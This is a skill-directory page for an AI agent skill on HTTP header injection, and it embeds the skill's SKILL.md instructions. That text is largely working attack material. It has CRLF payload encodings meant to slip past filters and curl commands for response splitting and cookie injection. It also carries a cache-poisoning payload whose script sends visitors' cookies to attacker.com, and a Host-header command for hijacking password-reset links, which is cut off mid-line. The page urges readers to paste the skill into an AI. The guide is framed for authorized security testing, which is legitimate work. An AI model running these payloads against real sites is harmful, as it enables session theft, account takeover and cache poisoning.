Skip to content
Skillpedia
Security6.5k · #14064

header-injection

What it does

This skill explains how user input can be placed into HTTP headers and used to change responses or caches. It is for security testers checking header handling and reset links.

When to use it

  • ✓When a site copies user input into redirect, cookie or download headers and you want to test it.
  • ✓When a password reset link seems to be built from the host name in the request.
  • ✓When you need to check whether cache systems treat certain headers unsafely.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute →

Example of what to ask your AI

“Can you check whether my password reset emails can be changed by sending a different Host header?”

5 new skills a week. 1 minute to read.

How it works

The agent sends requests with line-break characters and altered host or forwarding headers, then checks whether the server returns new headers or builds links from the input.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

HTTP Header Injection

Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.

Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.

Attack Surface

  • Query/body/path parameters echoed into Location, Set-Cookie, Content-Type, Content-Disposition, Link, or custom X-* headers
  • Request headers re-reflected into responses: Referer, User-Agent, X-Forwarded-Host, correlation IDs
  • Password-reset / account-recovery flows where the reset link is built from the Host header
  • OAuth/SSO redirect flows where Location is derived from user input
  • CDN/reverse-proxy stacks where X-Forwarded-Host or X-Forwarded-Proto is echoed into canonical URLs
  • Content-Disposition: attachment; filename=<user_input> file-download endpoints
  • Outbound email headers populated from user-supplied fields (To/From/Subject)

CR/LF Injection Payload Set

These are the characters and encodings to inject. Try each until one survives to the response header:

Encoding Value Notes
URL bare LF %0a Most permissive servers
URL bare CR %0d Rarely effective alone
URL CRLF %0d%0a Classic; many filters strip this
Double-encoded %250d%250a Bypasses single-decode WAFs
Tab %09 RFC 7230 permits tab in field values; some parsers fold into preceding header
Null byte %00 Truncates value in some C-based parsers
Unicode LS/PS %e2%80%a8 / %e2%80%a9 U+2028/U+2029; some intermediaries fold to LF
Overlong UTF-8 CR %c0%8d Invalid per spec but accepted by some older parsers

CRLF Response Splitting

Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.

Detection

TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
  | grep -iE "^< (set-cookie|location|http)"

# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
  | grep -i "x-injected"

Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.

Exploitation: Inject Arbitrary Cookie

PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"

If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.

Exploitation: Response Splitting for Cache Poisoning

# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"

Host Header Poisoning

The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.

Password Reset Link Hijacking

The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.

# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
  -H "Host: attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"vi
FAQ

Why does the skill mention cache poisoning?

It notes that some headers change responses but are not part of the cache key, so one bad response can be served to other users.

Does it cover download file names?

Yes, it covers the Content-Disposition header used for file names in downloads.

Is this only for testing?

It is for security testing, and the skill says it should be used only on systems you are authorized to assess.

Details

Original description by the author

HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14064
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills